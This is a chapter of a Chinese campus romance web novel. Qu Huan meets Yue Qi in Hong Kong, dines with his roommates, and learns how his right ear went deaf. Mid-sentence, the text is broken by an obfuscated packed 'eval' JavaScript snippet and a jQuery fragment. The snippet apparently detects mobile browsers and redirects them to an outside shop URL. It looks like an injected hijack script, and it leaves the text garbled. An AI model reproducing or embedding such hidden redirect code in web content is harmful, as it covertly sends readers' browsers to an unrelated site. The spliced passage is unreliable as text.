56. 等我
作品:《漂亮的耳朵[校园]》 “真热。”曲欢边走边嘀咕,她随手拍了张照片发给月圻,并走进一旁的巨型商场里。商场冷气很足,她舒服地叹了口气,身上有些黏腻,都是刚刚步行时出的汗。
她看了看周围,看到一家哈根达斯冰淇淋店,又想吃雪糕了。
“香草味的。”
曲欢拿到冰淇淋,咬了一口,凉意透过口腔,直打心底。她突然收到月圻的消息,让她在原地等他。
原地?他也在附近么?
曲欢四处看了看,人太多了,她没看到月圻。她刚准备走到商场门口去等月圻时,抬头一看便看到了月圻。
她一直觉得,自己和月圻很有缘分。
总是很容易遇到他。
但现在,她高兴不起来。
月圻身边还有个女生,女生兴致冲冲地说着话。他们两个站在手扶电梯上缓慢向下移动,看着郎才女貌极了。
他来香江是为了见女朋友?那他叫自己等他是什么意思?看他的女朋友么,然后告诉自己,别再缠着他了。
她越想,呼吸就越快,手脚有些发麻,几乎是一股热血从胸腔喷涌而出。
“月圻,你怎么不说话啊?”李嘉意板起脸,好不容易逮着他陪自己逛街,自己说个不停,他一句话都不说。
“说什么?”月圻看着自己双手提的这些东西,忍耐着说:“买完了?买完了就回去。”
“买是买完了,但我还没吃饭。”李嘉意不想那么快放过月圻,她说:“去以前那家吃?怎么样?”
月圻听着她自说自话,没想搭理。
曲欢看着他们,咬着牙转身回去又买了个冰淇淋,朝着他们走去。
走到商场出口,月圻看了下时间,刚准备开口说话,突然一个冰淇淋怼到他的嘴巴上,凉意顺着嘴皮蔓延。
他侧眼一看,曲欢正看着他。
他咬了一口冰淇淋,偏头。
一口冰淇淋让他的脸部有些发抖,同时也有些无奈,她这是来哪招?
曲欢把冰淇淋从月圻嘴巴上收回,看着他嘴唇上留下白色的印子,扯出一个笑说:“你在这儿啊,我找你好久了。”说着,还把冰淇淋塞进月圻的手里。
李嘉意看着他们两个动作,脸色不太好。这个女生是谁?听口音不像是香江的。他们两个又是什么关系?
月圻看着手中的冰淇淋,扭头对李嘉意说:“你先回去,我给你叫车。”
“我……”李嘉意看看月圻,又看看曲欢,曲欢还笑着朝她挥挥手。她有些惊讶,这人是谁啊?
月圻已经朝着门口走去,并拦下一辆车。
“她是谁啊?”李嘉意不想这么莫名其妙离开,她盯着曲欢看,从上到下的打量。她没见过月圻有女性朋友,平时生活几乎是孤僻的。
“你该回去了,不然让你哥来接你?”月圻说着打开车门,示意李嘉意进去。
曲欢站在一旁吃着雪糕,朝着李嘉意笑笑,就是笑意不达眼底。
李嘉意一想到她哥,撇嘴刚想说话,但看到月圻紧绷的脸时,她想说的话都咽下去了。她其实是有些怕月圻的,但哥哥说要和月圻搞好关系,加上他确实长得帅,她才动了心思。
现在……她抬头看了眼曲欢,索性直接上车,回去问问她哥就是了。
“她谁啊?”曲欢见人走了后,才语气不太好地问。
“你来香江做什么?”月圻咬一口手上的冰淇淋,草莓味的,他眼眸沉下,以前她给自己拿雪糕也喜欢拿草莓味。
“旅游啊,不行么?”曲欢回答的理直气壮。
月圻没戳破她,三下两除把雪糕吃完。
“你还没回答我的问题。”
“跟你有关系么?”月圻好笑地问她。
曲欢被呛住,是没什么关系。她还想说点什么,月圻就解释了:“老板的妹妹,让我陪她逛逛。”
“哦,那你真不容易,打份工还要出卖色相。”曲欢阴阳怪气,老板的妹妹,什么狗屁妹妹,那个女的恨不得黏在月圻身上。
月圻听着她阴阳怪气的话,回想起前几天的事情,扯了下嘴角,说:“你好像没有资格说我。”
他不等曲欢再开口说话,接着说:“我还有事。”
“哦。”曲欢已经对月圻的有事免疫了,弄得就他一个大忙人一样。她用力地咬一口冰淇淋,冻的她嘴唇打颤。
“有事你还让我在原地等你。”她不太开心地说。
“你要一起去么?”月圻自然听到了她这话,慢悠悠地说。
曲欢瞬间抬起头来,眼睛都亮了几分:“我可以去吗?”
“嗯,吃个饭而已。”月圻轻描淡写地说。
曲欢歪了下头,吃饭!她都快记不起她上一次和月圻吃饭是什么时候了。她自然是毫不犹豫的答应,并跟着月圻往前走,他们约饭的地方就在前面不远处。
走的时候,曲欢还在想自己可真好哄,他就这么随便一解释,再给点甜头,她就心甘情愿地跟着走了。
“不累吗?”月圻看着她脚底下踩着的高跟鞋,曲欢今天穿的短裙。他一低头,映入眼帘的就是雪白的大腿。
“啊?不累。”曲欢低头看了眼自己的鞋,说。
月圻抿了下唇,又说:“你不冷吗?”
“冷?”曲欢疑惑地看向月圻,红唇轻启、抱怨地说:“你在香江待了那么久,不知道香江的气候吗?我都快热死了!”
月圻沉默,是有点热。
香江十月份的风,还夹杂着一抹盛夏才有的燥热。
往前走个几百米,就到了一家露天烧烤店,店里热闹非凡,大家吃着烧烤、喝着啤酒,空气中夹杂着香味和酒味。
“到了。”月圻说。
曲欢跟着月圻,往里走,她才知道月圻是真“有事”。月圻带着她走到一张桌子前,桌子旁边坐着三个人。
“我大学舍友,陈勇文、钟淞、林仲宇。”月圻跟曲欢一一介绍,又对他们说:“曲欢,我……”他停顿了一下,“在大陆的朋友。”
曲欢瞥了眼月圻,在大陆的朋友?她有些想笑,以前她就天天嚷嚷着要和月圻做朋友,现在“朋友”二字从他嘴里说出,并不让她感到开心。
她保持着得体的笑容,跟他们三个打了声招呼,就和月圻一起入座。
“朋友?来香江玩嘛?”陈勇文操着一口港普,兴致勃勃地和曲欢搭话。
曲欢点点头,并说:“这不国庆假期么?来玩玩。”
“那好啊,香江有挺多好玩的,要不我明天带你去?我刚好没事。”陈勇文笑眯眯地说,看着很友善。
坐在他旁边的钟淞打趣他说:“对,你刚好没事。”他把“刚好”这两个字咬的特别重,引得陈勇文拍了他肩膀两下。
他们纷纷和曲欢搭了几句话,调侃过后就开始聊天,聊的大多数都是今后的打算。算算时间,其实今天他们才刚毕业没多久。
曲欢没怎么说话,一是他们大多时候说的粤语,她听不懂;二是也没什么兴趣参与,她更在意一旁的月圻。
他和以前不太一样了,和朋友说话的时候脸上会带着浅笑,和以前板着一张脸的样子完全不一样,却让人感觉到了稳重。
而且,他粤语也说得很好。
曲欢有些食不知味,明明肚子很饿,却又吃不太下。她拿起桌上的啤酒,准备给自己倒一杯,还没倒就被月圻拦住了。
“你要喝酒?”
“嗯,不行吗?”曲欢看了眼这个啤酒,度数不高,她就是想解解渴,将胸中莫名而来的烦闷驱散。
“还是别喝了,喝饮料,想喝什么饮料?”月圻避重就轻地说,并轻轻把酒从曲欢手里拿开。
曲欢皱了下眉,说:“不想喝饮料,我酒量还可以。”
“这个酒度数很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978789|188455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
低,没事,女生都能喝。”陈勇文开口说,“这玩意就跟水一样,怎么喝都醉不了。”
“那是你这个酒鬼,别听他的,你喝点就行。”
“陈勇文,你别怂恿小姑娘喝酒啊。”
曲欢听着他们你一言我一语,歪头看月圻,有些撒娇地说:“就喝一杯,不会醉的。”
“少喝点。”月圻妥协般地说。
曲欢笑了下,倒了一杯,轻轻抿一口试了下,口感还行。她轻轻对月圻说:“你是怕我喝醉吗?”她没等月圻回答,就说:“上次是意外,我……也没想到会遇到你。”
她喝醉了,林茜西会把她安置好,她也就无所谓。谁知道去趟卫生间,出来就看到那么大一个月圻站在自己面前。
“嗯。”月圻面无表情地回应了一声,同时低声对曲欢说:“可惜我不是你点的男模。”
曲欢这一瞬间又想死了,她真没点男模!这里人多,她没办法和月饮解释,只能自己憋着,努力的吃烤串。
他们喝酒聊事,大概聊到11点多就散了。
“你住哪里?”曲欢问。
“跟你同一个酒店。”月圻看着曲欢发红的脸,说:“走吧,回去。”
曲欢点点头,她跟着月圻上车。
上车后,曲欢突然扭过头,跟月圻说:“我没点男模!我只是把你认成了男模,谁让你西装革履地站在那里。”
“嗯,我的错。”月圻面无表情地说。
前面的司机好奇得瞥了眼后视镜。
曲欢无奈,她真是跳进黄河也洗不清,索性不说了,越解释显得她越心虚。她转移话题问月圻:“你在香江过得好吗?”
“挺好。”月圻实话实说,除了最开始艰难了一些,但香江的奖学金是一次性付清,可以顶住。
“那就好。”曲欢扭回头,微微仰起头看着车顶,有些出神。
月圻侧头看向她,她跟以前完全一样,一点变化都没有。
“你的耳朵,为什么聋了?”曲欢突然扭过头来问他,刚好和月圻对视上,两人都下意识地屏住呼吸。
月圻垂下眼,伸手摸了摸耳朵,说:“很早之前的事了。”
“多早?”曲欢看向月圻的耳朵,“只有右耳吗?”
“嗯。”月圻松开手,以前的他想装作正常人,所以不希望别人知道自己右耳聋了的事,但现在的他已经完全接受了。
“初中的时候。”
他记得很清楚,那是一个炎热的夏天,妈妈刚进医院,他愤怒地去找月大吉,问他怎么回事。
果不其然,他们两个一说话就会动手。
那会儿他太小,根本打不过月大吉,在推搡中,耳朵撞到了一个尖锐的物体,当时他摸着自己的耳朵,那温热的手感还残留在手中,痛感贯彻整个脑袋。
现在回想起来,只觉得可笑。
反正,人都死了。
曲欢脸上写满震惊,初中,那么……她和月圻认识的时候,他的右耳就已经听不到了,难怪……
那么多次她和月圻说话,竟然都没有发现。
怎么就没有发现呢?曲欢突然有些自责,如果自己那时候发现了……是不是能得到及时的医治?
那会儿月圻家里条件困难,肯定很没钱去看耳朵。
“跟你没关系。”月圻看着曲欢自责的模样,眼神有些淡漠,自责?跟她有什么关系。他打开车门,说:“到了。”
曲欢有些恍惚的下了车,跟着月圻走进酒店,进了电梯。
“房卡。”月圻说。
曲欢这才从包里拿出来,刷了一下。她和月圻在不同楼层。
电梯缓慢上升,只有他们两个人。
“月圻。”她突然喊了声。
“嗯?”月圻垂下眼,等着曲欢的话。
曲欢抬起头来,语气正经地问他:“我可以亲你吗?”

